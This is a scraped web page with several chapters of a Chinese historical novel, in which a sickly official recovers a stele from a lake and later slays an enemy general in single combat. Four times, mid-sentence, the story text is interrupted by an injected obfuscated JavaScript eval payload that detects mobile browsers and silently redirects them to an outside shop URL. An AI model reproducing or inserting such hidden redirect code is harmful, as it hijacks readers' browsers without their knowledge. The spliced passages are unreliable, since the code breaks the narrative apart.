卞城是大宁三处石碑最靠外的那块石碑的所在之地,按照他这几天的观察来看,石碑最大概率在湖泊之下。 希望几百年的流水冲刷没有把石碑冲到别处去。 —————— 卞城郊外这个湖不大,但很漂亮,湖边外围开满了不知名的彩色小野花,在李焕看来并不逊色于宫中御花园栽种的名贵花种。 此时已经是傍晚了,都怪那群金人走的太慢,否则魏大人也不用这个点来这。顾荨看向一边涉水的魏离。 湖边浅水的地方长满了半人多高的芦苇,白茫茫一片,魏离正在一片芦苇杆的包围之中,他一步步向前走去。 璀璨瑰丽的夕阳映照在水面和那道矗立在水中的白色身影上,魏离一身白衣被秋风吹起,飘飘扬扬地跟纯白色的芦苇混为一体。 顾荨到今天才真正明白,《诗经》中的“所谓伊人,在水一方”是什么样让人心动的场面。 “魏大人真的要潜到水底去吗?”她看向一边和她一样直勾勾盯着魏离看的李瀛,“他的身体还没好全呢。” “拦不住他,我说我替他下去他也不愿意。”李瀛没有移开自己的目光,他知道魏离为什么一定要今天下去,也知道他为什么坚持不让自己替他将石碑带上来。 去容城的那两位斥候至今没有消息。容城的形势怕是没怎么缓解,如今卞城这边撤军,那边的军队难保不会调转矛头对准卞城,毕竟容城有大量军士和战备物资,而卞城早就疲于应战。 如果湖水中的雷公藤本身就是未经炮制削减毒性的,顾荨准备的解毒药材可能起不到什么作用。他如果涉险替魏离下水中毒,难保卞城军心不稳,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588173|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为魏离只是一个三品侍郎,绝对比不上他一个王爷来的让城中将士安心。 毕竟侍郎可以有很多,可成年的皇子就他和李焕两个。 魏离已经游到接近湖中心的位置了,湖不深,但水很凉,刺骨的寒冷透过湿透的衣衫紧紧地缠绕在他的骨头上。 他沉入水中,从水里往外看,可以看到很美丽的夕阳,灿烂热烈,但水中湿寒阴冷,就像遥遥相对的两个世界。 他忍不住咳了两声,一大片水灌进他的气管,他浮上水面喘了口气,停下来调整了好久才重新埋头下水。 水里并不恐怖阴暗,阳光透过水面照射进来变成温柔的绢纱一样的水流,有几尾小鱼凑到他的身边转圈,水底零星长着几株水草,那几株随波飘荡的水草边上,就是他所寻找的石碑。 破旧的石碑不知道是埋下的时候倒下的还是被水流冲倒的,上面的字迹已经模糊不清了,隐隐约约可以辨别出东离二字。 魏离继续往下游,伸手拨开石碑,石碑下面正压着一个小铜盒,铜盒的外面长满了铜锈,绿泱泱一片。 他伸手扯住铜盒,连着石碑一起抱着浮上水面。 还挺沉。他慢慢往湖岸游去。 “魏大人上来了!”顾荨一眼都不敢错开,跑到岸边盯着魏离,天知道魏离下去那么久,他刚潜下去的时候,她以为魏离体力不支溺水沉下去了。 魏离抱着石碑和铜盒从芦苇从中穿过,头有些发晕,从怀里掏出顾荨给的铜钱草就塞进嘴里。 “要先换……换一下衣服吗?”顾荨将洗脸巾递给他,原来古人常说的“出水芙蓉”是这种感觉。 “不用,那边的将士如果将防护栏围好,就抓紧回城。”容城的金人不知道什么时候会来,明天援军就该到了吧?魏离将东西放在地上,开始拧干自己的衣衫。 —————— 盒子里是一只拳头大小的小爪子。 魏离回到卞城内之后第一件事就是打开铜盒,铜盒外面是一把配套的小巧的锁,他稍稍用力就将小锁掰断了。与铜盒表面不一样,铜盒里面并没有长出铜锈,一只拳头大小的白骨小爪子静静躺在铜盒里。 与李瀛昨晚给他的是同一具身体上的。 魏离小心地将两只爪骨一起放进准备好的盒子里,出乎意料的是这两只爪子骨头和骨头之间好像有什么东西代替了血肉将它们连接在一起,不管他怎么晃动都没有散架。 他打开自己画的地图,大宁境内最后一处石碑在卞城往里数二三十座城的天柱山下。据说天柱山是乌角先生左慈隐居的地方,山内有机关无数,也有乌角先生所留下的秘术传承。 不是个好去的地方。他叹了口气,窗外突然吹进来一股凉风,给他湿透的全身冻了个激灵。他才想起来自己还未来得及换上干燥的衣服。 反正已经是大病了,这耽误的一小会……应该不会让他的病情加重多少吧? 应该不会吧……他换好衣服,忍不住又咳嗽两声,抓起桌上的水壶倒了两杯水灌下去才稍微好点。 顾荨应该已经在替他煮姜汤了,喝了姜汤应该就不会有大碍了。 ? 19. 第 19 章 天不遂人愿,魏离重新病倒了,躺在柳府的梨花木大床上边发热边咳嗽,整个脑子真的变成了一团被煮开的浆糊。 都怪自己不及时换掉湿衣服,早点换掉说不定就没这么严重……他坐在床上迷迷糊糊地想着,不过援军应该也到了,外面全是嘈杂的人声。 顾荨重新打了一盆凉水来给魏离换毛巾,冰冷的触感放在他头上的时候他才觉得自己的灵魂重新回到身体里,“咳咳,援军到了吗?” “到了,是不知道哪个尚书家的大公子亲自带兵来的,好像是姓汪吧。”顾荨叹了口气,给他端来早就准备好的水,她怕凉了,还特地每隔一段时间就换成新的。 魏大人这个病啊也不知道什么时候是个头,也不知道会不会落下病根。 魏离接过她递过来的水,温暖的水流顺着咽喉流淌过嗓子他才觉得好了一点,“容城那边怎么样了?” “那两位斥候大哥回来的时候说,他们离开的时候,容城的金军已经停止叫阵,往我们这来了,估计今天就会到。”顾荨实在是搞不明白,容城不比卞城好打吗?卞城前就是鬼门关最险峻的地方,退也不好退,进也进不来。 “有新来的将军在,您就好好休息吧。”顾荨又给他倒了一杯水。 “我就算想说什么,那汪将军也是不会听的。”汪家大公子,应该是叫汪水渟,汪水铎的大哥,行军多年,怎么会听他一个刚考上状元,“攀关系”破格当上正三品侍郎的穷酸书生的话? 李瀛愿意听是因为没有人能出谋划策,也没有其他办法。汪水渟必然带了自己的亲信军师来,怎么可能听他的主意。 安心养病吧,早点好起来,早点上书回京,也不知道交代给即灵的事情办得怎么样了。 他晃了晃装着一大团棉絮的脑子,又躺下了。 —————— “也不知道这卞城能有什么吸引金人的地方,连打到一半的容城都能放弃。”汪水渟将自己家的旗帜插到刚建成的沙盘上,他本以为卞城会在他来之前就守不住,没想到这个淮阳王带着五十来个守城兵,居然守了下来。 “卞城之后是基城,基城有两座银矿、一座金矿,再往后是亦城和连城,是大宁最大的粮仓。从容城进入大宁,要走献城和郾城,多是水路,金人善骑射但不善水性。”汪水渟的军师是出身南阳的顾怀真,字守拙。 这顾怀真也不是跟魏离一样什么背景都没有的书生,他是刑部尚书冯家的外亲,从小在冯家长大,和冯家几位、汪家几位都是好友,与汪水渟更是挚友。他比魏离还要早上两届高中状元。 冯远被逼着参加科举也他珠玉在前的原因。 当时正值周朝进犯云城边线,,汪水渟在那边中了周朝的埋伏,不仅没能守住城池,还差点把自己的命搭进去。据说那是顾怀真第一次尝试骑马,他孤身一人日夜兼程赶到,绕到周朝后方粮草边上放了一把大火,周朝退兵,汪水渟这才捡回一条命。 不过他也因为那一把火,临离开时被周朝守卫砍断了脚筋,如今走路还是有些费劲,也因此被女方解除了从小定下的婚约。 “听那两个从容城回来的斥候说,这次带兵的是那位永安王。”顾怀真仔细观察着沙盘上的地势,试图从中找到能将金军击退的方法。 汪水渟没有接话,那永安王是金国唯一一位外姓王,领兵从未有败绩,如果不是金国一直在和周朝交战,无暇顾及大宁,恐怕卞城容城早就是金国的土地了。 “金国皇子退兵据说是因为淮阳王下令在城外的湖泊里投毒,永安王领兵来卞城城下也有很大概率会使用那边的水。但我们要做好他们已经知道那里水有问题的情况的应对方法。”顾怀真继续说着,纤长的手指指向代表鬼门关的狭长沙堆,“最好的解决办法是派人上鬼门关做好埋伏,将他们逼入鬼门关进不得退不得,一网打尽。” “将他们逼进去没那么容易。”他们带来的兵并没有金军那么多。 也不知道今年这些金人在发什么疯病,分这么多兵来这,和周朝议和了? “走一步看一步?”汪水渟试探性地说道。 “我跟你说了八百遍,行军不能一直莽,要考虑好后路!”顾怀真无奈地看向拿着旗帜在沙盘上乱插的男人,“随机应变只是最基础的,你当年……” “好好好。我知道了,我当年就是因为这种想法才会被围困云边。”汪水渟停下手中的动作,讨好地看向他。 “而且我觉得,守城这几天的计策,未必是淮阳王设计的。”顾怀真夺过他手中的旗子,报复性地插在他的头发上,“给我专心点。” “那总不能是那个从带着援兵来到现在都还病着的魏离吧?他可还在床上躺着,病的根本起不来身。”真弱,汪水渟不屑地摇摇头,“不可能。就算他跟你一样是状元也不可能。” “你没读过他的文章?”顾怀真真想一拳砸在他脸上,“如果《顾此论》真的是他自己写的,还真有这个可能。而且你没听顾医女说吗?他是昨天才病情加重的。” “那也不可能。他那副弱鸡小白脸的样子,看见血就要晕过去了吧?”汪水渟撇撇嘴,试图继续讲下去,但看到顾怀真逐渐不好的脸色才想起来,他也是弱……身子弱的玉面书生。 “哈哈,我没有说你的意思……”汪水渟在他的目光中尴尬地闭嘴。 顾怀真知道汪水渟没那个意思,就他这肌肉脑袋,恐怕要等到七八十岁才能学会怎么影射人。 “他未必是你看到的样子。”顾怀真总觉得魏离不是他表现出来的样子。 “虽然他带病日夜兼程来支援卞城,我觉得他算个大男人。”汪水渟忍不住又开口,“但他皮肤比你的还白,怎么可能是见过血能打仗的。” 不过,魏离和淮阳王的感情有这么深吗?京中来信不都说他是太子的人,总不能是苏烟罗吹了枕边风,让太子不喜欢他? 汪水渟这几年一直在南边任职,倒对京城里的事情不是很清楚。 “不好了将军,那个永安王在城门外叫阵,说要和您一战。”外边守着的士卒推开门就往地上跪,正磕着顾怀真放在门边上的拐杖,疼的龇牙咧嘴。 “知道了,你先下去。”不是,他们不是傍晚刚到卞城城外吗,一点都不需要修整的?汪水渟抓起铠甲就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588174|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往身上套。 “慢着。”顾怀真拦住他,“我记得几个月前,卞城主将柳淮安是遭人投毒不治身亡的,你注意,尽量别挂彩。” 虽然他也知道两军主将交锋不挂彩很难,但他问过顾荨了,那种毒她还没找到解药,现在是他们带来的几名军医在研究,一旦永安王在兵器上抹了毒药,很难解决。 如果是先前,永安王可能不屑于下毒,但卞城已经守了快半年了,十多天前更是把另一批军队逼退回城,他可能耐不住性子了。 “我尽量。”汪水渟动作很快,穿好银白色的铠甲提起红缨枪就走。 城门外已经年过四十的永安王正立于马上,“不过是小儿,难怪这么久才出来应战。” 实话实说,汪水渟的怒气一下就被挑起来了,不过他记得顾怀真叮嘱的话,绝对不可以意气用事。 顾怀真正在城墙上看两军对峙,汪水渟善用枪,永安王用的剑,从兵器来看汪水渟更胜一筹,不过…… “汪将军的枪未必能胜过永宁王的剑,咳咳咳……”魏离披着离开京城前即灵送给他的水仙花纹白披风,在风中拼命咳嗽。 他是避着顾荨偷偷跑出来的,反正已经退烧了,应该……没什么事吧…… “魏大人的身体……”顾怀真看他那样子都怕他咳着咳着跌下城楼去。 “永宁王的剑术是金国的传说,五湖四海的剑客都想向他讨教。而且他这次……咳咳……恐怕在剑刃上淬了毒。”和柳淮安一样的毒。魏离因咳嗽而染上不正常红晕的脸终于有了点人气。 顾怀真和汪水渟去探望过昏迷的魏离,虽然顾医女说是普通的风寒,但是魏离的脸色惨白,与尸体没什么两样,他们还以为魏离要挺不过去了。 顾怀真没有继续出声,而是默默站到魏离身边扶住他,避免他真的一不小心掉下城楼。 而卞城前的战场也终于有了新的的动静。 在被晚霞完全覆盖、看不到一丝蓝意的天幕下,连战场上的人、马、兵器都一起被夕阳染成了血红色,好像还未开战,就已经能看到最后的残肢和鲜血。 两军对峙,被将士们血汗浸染过的战鼓发出雷鸣,连大地都有一丝撼动。汪水渟身披黑甲,手持银枪,枪上的红缨在风中浮动,他有些紧张,手上控住不住地出渗出手汗。 这可是永安王,要是打赢了,陛下得大赏他一回吧? 永安王身披银甲,手持利剑,银白色的剑光反射出夕阳的色彩落在他脸上,气势逼人,宛如战神降临。 他早就跟军师说过,汪水渟不过是二十来岁的小儿,哪里用得上这淬毒的利剑。不过为了保险起见,军师没有答应他换剑的请求。 “尔等贼寇,修要夸口!”汪水渟立于阵前,声如洪钟,回荡在在场的将士的耳畔。他的声音中充满了自信和力量,像一根定海神针,一下就缓解了将士们焦虑的心情。 “哼,区区竖子,何足挂齿!”永安王冷笑一声,策马而上,直奔汪水渟而来。 两人之间的距离迅速拉近,整片夕阳的火红云雾都好像变成了真的火焰,燃烧在整片战场之上。 ? 20. 第 20 章 随着一声清脆的金属敲击声,两人正式交锋。汪水渟的长枪如灵蛇出洞,在一片破风之声中,直指永安王的要害。 但永安王的身手十分灵活,每一击都能轻松闪过。他挥动着手中的利剑,剑光如同幻影交杂,织出一封密不透风的剑网,将汪水渟的招式一一化解。 汪水渟心中憋屈,他的无往不利的红缨枪无论如何都碰不到这个永安王,他确实有点本事。 永安王对他挑眉一笑,“枪号称百兵之王,六尺之内皆无敌手,怎么在你的手中倒是一点作用都发挥不出来,不必看我年长就收着力气,尽管来。” 汪水渟的手心不断渗出汗水,他不是永安王的对手。 战斗逐渐进入白热化阶段,两人你来我往,看似斗得你来我往,实际上是汪水渟单方面的激烈反击却摸不到永安王。汪水渟的枪法虽然已经比一般人熟练很多,刚猛有力,每一击都蕴含着排山倒海之势。但永安王的剑法灵动飘逸,如同涓涓不断的流水,细密难以破开却又无孔不入。 夕阳映照得仿佛被血浸透的土地上,两方的士兵都无比安静,这是属于他们两人的斗争。兵器的交击声、战马的嘶鸣声在这片安静的像画一样的场景里交织在一起,奏出一曲新的战歌。 汪水渟的眼中闪烁着不甘心的光芒,他深知自己不是永安王的对手,就算是全力以赴的杀招都能被那把利剑用简单朴实的招式化解。 永安王觉得有些无趣,找了汪水渟一处破绽,一剑将人挑翻,一道血痕出现在他经年暴晒练武而黝黑的脸上。 “不打了,没意思。听说这卞城之中有人能在城墙上射中百里外的八殿下,不知道他的身手怎样,下回换他来吧。”永安王勒住即将踏在汪水渟身上的马,“我今日饶你一命,下次先将枪练好在出来,免得像今天一样丢人现眼。”他向副将做出撤退的手势。 反正这卞城不可能再有其他援军,这样耗下去,先撑不住的肯定是卞城。他最后看了一眼城墙上的两道白色身影,调转马头跟在准备撤退的士卒身后。 城墙上的魏离仔细盯着被将士搀扶起来有些不忿的汪水渟,“他受伤了。” 他又看向落在最后的永安王,这么大年纪了,还要玩这种小把戏,在战场上大挫敌军主将威风又在取他性命之际放过对方,不知道又要怎么编排给自己安排上美名咯。 想的倒美。魏离咳嗽两声,瞥见墙角那把弓弦上染着干涸血迹的破烂弓,拿弓拉弓搭箭,如果忽略连续不断的咳嗽声,算是一气呵成。 汪水渟随军带来的利箭破空而去,等到永宁王反应过来避开之时已经有些晚了,箭尖擦过他的脖颈直挺挺地穿过他身前副官的心脏。 啧,偏了。魏离将弓放回原处,冰凉的手搭在自己的额头上,果然还是头晕。 永安王回头试图看清城墙上人的面容,但距离太远了什么都没看清。 这一箭彻底激起了他心底的兴趣。他早晚要见见这个放冷箭的人。 魏离放下手中的弓之后可没空管永安王会不会记恨自己,因为顾荨找到城楼来了…… “你跟顾姑娘说我不在这啊!你没见过我啊!”他拽着跑起来有些碍事的披风从城墙的另一边翻了下去。 顾怀真看着他着急离开的背影,有些失笑。 魏离利索地翻下城楼后往住所赶回去,可别被顾荨发现了,她对待病人可不管你是谁,先前那些士兵没好好遵从医嘱,被骂了个狗血淋头。 他也被骂了,只不过李瀛说,他被骂的时候都还在昏迷,听不到。 希望边上那个白衣大哥别把他供出来。 他应该是传说中孤身一人烧了周朝粮草的顾怀真吧,手上好像还拎着一只拐杖?魏离边跑边想着,喉咙被风吹得很痒,但是咳不出来。 怎么西北的秋风这么干啊?等魏离好不容易跑到先前待着的房间,却在门前撞着了帮着顾荨一同找他的李瀛。 “先生真去城楼上了?”李瀛看着他跑的满脸通红,像春时落下的桃花瓣,觉得有些好笑,“顾医女找你好久了,还以为金人潜进来把你劫走要给他们皇子报仇。” “殿下别告诉顾姑娘,就说我在城里闲逛……迷路了。”魏离解下披风叠整齐,坐回床上。 在城里闲逛总比在城楼上吹风来的好。 “你也真是的,又不是小孩子,两军对垒有什么好看的,听声音,应该只有两军将领交战,比起混战可无趣多了。”李瀛将顾荨之前放在炉子上温着的药递给他,苦涩的药汁气味混合着草药的香气倒有些意外的和谐。 “殿下多笑笑吧,待会就笑不出来了。”以永安王“点到为止”的切磋来看,那剑上必定是有毒的,汪水渟过会就要毒发了。 —————— 其实也是魏离把汪水渟他们带来的医师想的太过厉害了,顾荨到城楼上就不可能回来继续揪着他好好休息了。 因为那几名医师的研究根本没有进展。 也不知道金国到底从哪里找来的这种药,说它发作快吧,之前的柳淮安硬生生被折磨了两个月,说它发作慢吧,还没进城门汪水渟就倒下了。 顾荨是当场离得最近的医师,第一个被顾怀真揪到汪水渟身边。 天已经黑下来了,只留下几丝暗紫色的云落在天幕上。 顾怀真帮顾荨打着油灯,让她能看得清汪水渟的症状。顾荨伸手碰了一下汪水渟脸上的伤口,很浅,按道理来说应该结痂了才对,她照着算不上明亮的灯光仔细分辨了一下沾在手上的血液,是黑紫色的。 跟之前的柳将军一样,伤口难以愈合,不断渗出黑血。她又把手凑近鼻尖,一股淡淡的腥臭味掩盖住了淡淡的血腥味。她抬起汪水渟的下巴,仔细观察他的嘴唇,没有变紫,但嘴角溢出一丝黑紫色的血液。 “跟之柳淮安将军中的是同样的毒。”她抬头对上刚赶到的其他军医,“我只能缓解,没办法根治。” 这几名军医早就被顾怀真叫去看过顾荨写的就诊记录和药方,顾荨写的很仔细,药方他们也没有改进的空间,换言之,汪水渟和柳淮安一样,没救了。 “你们先把将军带回去。”顾怀真虽然早就料到这样的情况,也想过能否不去应战,但大宁的律法,武将无故不应战视为轻国投敌,全家满门入狱。 他先前……也是阻止汪水渟入伍的,但少年心性,科举落榜,一心想着不做不学无术的纨绔子弟,要去边疆守卫自己的家国情怀。 真是可笑。 他叹了一口气又看向顾荨,“还请顾医女与这几位先生一同看看将军的情况……能活一天是一天吧。” 大宁对待武将和军队都太过严苛,若不是他祖家和外家都在这片土地上难以迁徙,他会做投敌的第一人的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588175|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论世人如何评判。 也因为大宁这种态度,十几年都难出一名武将,现在就算把汪水渟中毒昏迷的事情上报文帝,他也不能派新的将领来,因为根本没有空闲的将领能够赶来卞城。 实话实说,他根本不明白魏离和李瀛为什么回来卞城。魏离已经和清阳公主定亲,而李瀛又是文帝属意的候选人,根本不应该被派来这。 不过魏离的箭术倒还不错,他虽然看不清永安王的表情,但也能想象出他的震惊和愤怒,也算是出了一口气。 他看着顾荨和军医们随着抬送汪水渟的将士们远去的背影,这次可真救不了他了。 不过在卞城的将士们没有因为汪水渟方倒下而自乱阵脚,算是坏事里的好事吧,这儿还有李瀛这个王爷在,他们也能安心。但明日永安王必定会继续来城前叫阵的,如果汪水渟没办法胜过他,那汪水渟手底下的副将们也没有办法,应战只会是白送性命,永安王不可能再手下留情。 天上的云很厚重,连月亮都看不见,整个卞城中只散落着几簇火星。 顾怀真拄着拐杖往最远的那一点走去,总有人能想到办法的。 此时魏离正在喝刚晾凉的药汁,小雀儿在桌子上歪头看他。虽然凉的药汁更苦,但他真的喝不了滚烫的汤药,他天生就比一般人更吃不了热的东西,别人喝药吹两口就能入口了,他必须等到药半凉不凉的才行。 李瀛已经离开,汪水渟中毒的事情已经传开了,军心没有涣散就已经是最好的结果。 “魏大人。”门外传来陌生的声音把怕生的小雀儿惊得扑腾起来躲到衣柜上的乌鸦身旁。 魏离在脑子里过了三遍才想起来这是今天城墙上遇见的顾怀真,“顾先生进来吧。” 他一口气将药汁闷了,苦涩的药气直冲天灵盖。 顾怀真在一旁等他喝完药,看着他又灌了一杯水之后,才开口,“魏大人的病可有好转?” “好多了。”魏离觉得自己再有个两三天就能好了,就算没好全,也不用整天闷在屋子里。 “顾先生这个时候来,是想跟我探讨明日如何应对永安王的吧?”他重新拿了一个干净的杯子给顾怀真倒水,“不过先生比我早上好几年触碰战局,又在汪将军身边磨炼那么多年,应该是比我更清楚该怎么做的,只是一时间没有想起来而已。” 他也给自己倒了一杯新的,“顾先生在多年以前为了救汪将军,孤身一人烧毁周军粮草,自此以后南边所有跟汪将军对上的军队都想办法把自己的粮草藏好,生怕又遭大火。但这里是西北,是从未和你们对峙过的金人。” “有湖泊投毒在前,他们的注意力肯定是在水源上。何况今日一战顾先生应该也看的很清楚,永安王并没有把我们放在眼里。行军最忌讳的就是小看对手。”没关紧的窗户偷溜进来一缕夜风,顺着空气窜进肺里,他忍不住又咳嗽起来,起身去将窗户关上,“咳咳……趁着今夜无月……咳咳咳……” “我明白了。”当下除了这一个办法就只剩下让李瀛上战场了,但李瀛如果出事,卞城的军心就要垮了…… 顾怀真即刻告别魏离出门去了。 见到外人离开,明黄色的小鸟又重新回到魏离边上,魏离伸出手指感受着小鸟羽毛温软的触感,收拾了一会躺回床上。 烧粮草也只是缓兵之计罢了。 ? 21. 第 21 章 永安王的粮草被烧了,顾怀真派汪水渟的副将带人去的。如同魏离预料的一样,永安王对于粮草驻地没有多派人看守,而是边上的几个大水缸被紧密保护着。 他们是从鬼门关的另一个入口进去,绕到永安王军营后方烧的粮草,也顺道跟着金国士兵探到了他们的水源来处——鬼门关里的一眼小泉,非常小,为了能供给全营的用水,他们全天都派人去接水。 “活泉眼,根本不能再用之前的计策。”顾怀真正在魏离的屋子里看魏离逗鸟,听着他时不时咳嗽两声,面色看起来倒还不错。 “烧了粮草应该让人埋伏在鬼门关内,趁他们措手不及的时候赶他们进鬼门关。不过……我们没有能领兵的人了。”魏离从小雀儿身上揪下来一根嫩黄色的小羽毛,它气的在他手上啄了一口。 因为兵力悬殊,所以这样的计谋还是有一定风险的,副将不够经验,李瀛不能领兵。李瀛若是死了,军心涣散,这个卞城都守不住。 “两军相争,在于气势和信念,如果主将失误,必然溃败,孙仲谋的例子就在前面。所以这个主将在与永安王搏杀的时候,必需要有能安军心的气势。”他看顾怀真不说话,又接着开口,“这个机会不能放过。等到他们粮草支援到了,卞城没有主将,必然兵败。” “如今的形式我也明白,可哪里去找一位能跟永安王打出优势的主将,就算派人把杨修请过来也来不及……”顾怀真知道如今是解卞城之困的最好时机,可他根本找不到合适的人选。 “我去。”魏离将揪下来的小鸟毛插回小鸟脑袋上,它又是一阵生气地扑腾,魏离笑了笑,将它推到一旁,“我的病也差不多快好了。”快一个月了还没好他自己都快被憋死了。 “顾医女不会同意的吧?”不止担心顾医女不同意,就算见过魏离高超的射术,他也还是不相信魏离能在与永安王的搏斗当中占到便宜。 “放心吧,用剑他或许略剩我一筹,但用枪就未必了。”而且,这个永安王的剑术跟苏桓派到华山上行刺的那两位剑术非凡的刺客路数十分相似,他还挺想见识一下的。想着想着他又咳嗽两声。 就是顾怀真不知道愿不愿意相信他,毕竟这一次,如果他失败,就彻底没有余力守城了。 但错过这次机会,卞城和守军也就是等待死亡而已,因为卞城不会再有援军来了,文帝不可能再将与周朝边境接壤的军队往西北调,因为在他眼里,周朝比金国更可怕。 这就是苛待武将和兵士造成的后果。 “我愿意相信魏大人,但魏大人可是想好了一旦失败,要如何收场?”顾怀真实在想不到同时保全自己和汪水渟的办法。 “守城。我先前交代过淮阳王守城的办法,他也已经派人去基城取火油和炸药,就算我这一去不成功,永安王军队也必定损失惨重,我会想办法废了永安王的。”虽然卞城没有金国那么阴毒的药。 魏离拍拍他的肩,“不过我有一个请求,我入世参与这没有一丝意义的科考,为的是报复苏桓一家,如果我没能回来,还请顾先生和汪将军替我完成这一夙愿。” 确实没有一丝意义,只要有家世,状元之位不就是收买皇帝身边人就可以轻易得到。顾怀真点点头,“我记下了。”不过,他这么相信汪水渟能活下来? “顾姑娘的医术高超,有柳淮安在前,这次肯定能配出解药,顾先生宽心。” 但愿如此吧。顾怀真本就悬着一颗心,如今让魏离领兵,心悬得更高了。 —————— 魏离和顾怀真没有告诉别人换了主将,对外说的是汪水渟醒了,魏离的身量与汪水渟差不多,就是消瘦些,穿上铠甲带上面具骑在马上也就看不出来了。 汪水渟的红缨枪倒是好枪,比起他少时练习用的不知道强了多少倍,魏离骑在马上,身披黑甲,在灿烂阳光下从城门中走出来,今天的阳光倒是很好,晒得他身上病了几天的寒意都消失了。 小时候母亲问他喜欢哪种兵器的时候,正值他刚读了吴殳的《手臂录》,其有一句是“枪为诸器之王,以诸器遇枪立败也”。他和母亲说,要是练兵器就要练这百兵之王。 他一练就是十来年。 永安王因为被烧了粮草,今日被叫出来的时候臭着一张脸,见到对面马上铁甲遮面的人嗤笑一声,“倒是小看了那城中的小医女,你一个大男人,不过是被剑划破一小道在脸上,还要用面具遮起来?真是可笑。你们大宁都这么可笑吗?” 魏离没有出声回应,提枪策马,直指他的心口。灿烂的阳光有些晃眼,照射在银亮的枪头上分外刺眼。 永安王身形未动,等魏离的银枪临身之际才猛地身形一侧,长剑出鞘,剑光如同天际的虹光划过艳蓝的天幕,正撞上魏离的银枪,发出振聋发聩的金属敲击声。 两人力气上还是有些差距的,永安王第一次遇见比自己还大的人,昨天明明还不是这样的。一时之间两人竟难分高下,长枪与长剑在空中交织成一张密集的网,气浪伴随着撞击声在阳光照射的空气中荡出阵阵涟漪,嗡嗡作响。 魏离的枪法愈加凌厉,永安王竟然有些招架不住。 这跟昨日那个小将肯定不是同一个人,难怪要以面具遮面。永安王收起先前轻敌的心思,认真对待。但就他这一瞬间的思绪迟疑,魏离已经抓住他的破绽,银色的光芒几乎要刺入他的眼睛,他险险避开,保住了自己的眼睛,但银枪划破了他的眉头,深可见骨。 魏离乘胜追击,下一枪直直刺向他的胸口,永安王险之又险勉强用剑身挡住,被逼的连人带马后退了三步。 “好!” “还是我们将军厉害!” 在将士们的喝彩声中,副将吹起进攻的号角,下一秒呐喊声、兵器交击声、战马的嘶鸣声交织在一起,奏响了前所未有的高昂战歌。 永安王抹了一把眉头上面淋漓的血液,暂时止不住,艳红色的血液阻碍了他的视线,连带着太阳都遮上一片血色。他看着身前迎战的将士们,也顾不得眼前的血色,提剑又上前去。 其实也不用他上前,魏离已经挑着一名士兵向他甩来。银闪闪的枪头上落下一片血液,重新在阳光下闪烁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588176|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他举剑去挡……跟随他征战多年、他珍惜爱护的宝剑碎成了几段,不过他很快就没办法继续心疼自己的剑了。 魏离一□□入他的铠甲,刺穿他的胸膛,他试图凭着最后一点力气划破敌人的身体,却反被魏离夺走半截断剑。魏离收枪将他的身体拉进,“枪是诸器之王,这下永安王可是见到了?” 永安王的耳畔回荡这者魏离柔和的声音,他的喉咙试图发出声音,却只能发出“嗬嗬”的声响。 因为魏离已经用那把断剑斩下了他的头颅。 据说武将领功还要带上敌将的头颅,也不知道等到汪水渟回京领功的时候,这个头会不会已经烂的不成样子了。 他憋粗嗓子,大吼一声,“永安王已败!” 一时间金军将士溃败,仅剩的一名金军副将见到他提在手中的头颅,也不犹豫,下令撤退。 按照计划,魏离带着士兵们乘胜追击,将他们赶入鬼门关,由埋伏在鬼门关的人炸山,将整支军队一起葬送在鬼门关。 魏离带着将士们策马往前,带着滚滚尘烟,目送金军将士们丢盔弃甲进入狭窄的山谷之中,几声巨响传来,鬼门关高耸的山尖塌了一半,碎石和尘土飘出和华山一样云雾缭绕的感觉。 等到烟尘散去,这一条谷道被滚落的碎石封的死死的,再也不能容人通过。魏离没出声,调转马头往回走,顾怀真应该已经安排了接应山上士兵的人,这里也不需要他继续待着。 他将带血的头颅随意地抛给身边的副官,提着被鲜血浸透红缨的枪伴着有些西斜的太阳往城门处去,顾怀真他们已经在城门那边等着他了。 —————— 实话实说,顾怀真没想魏离真能杀了永安王,还把头颅带回来。 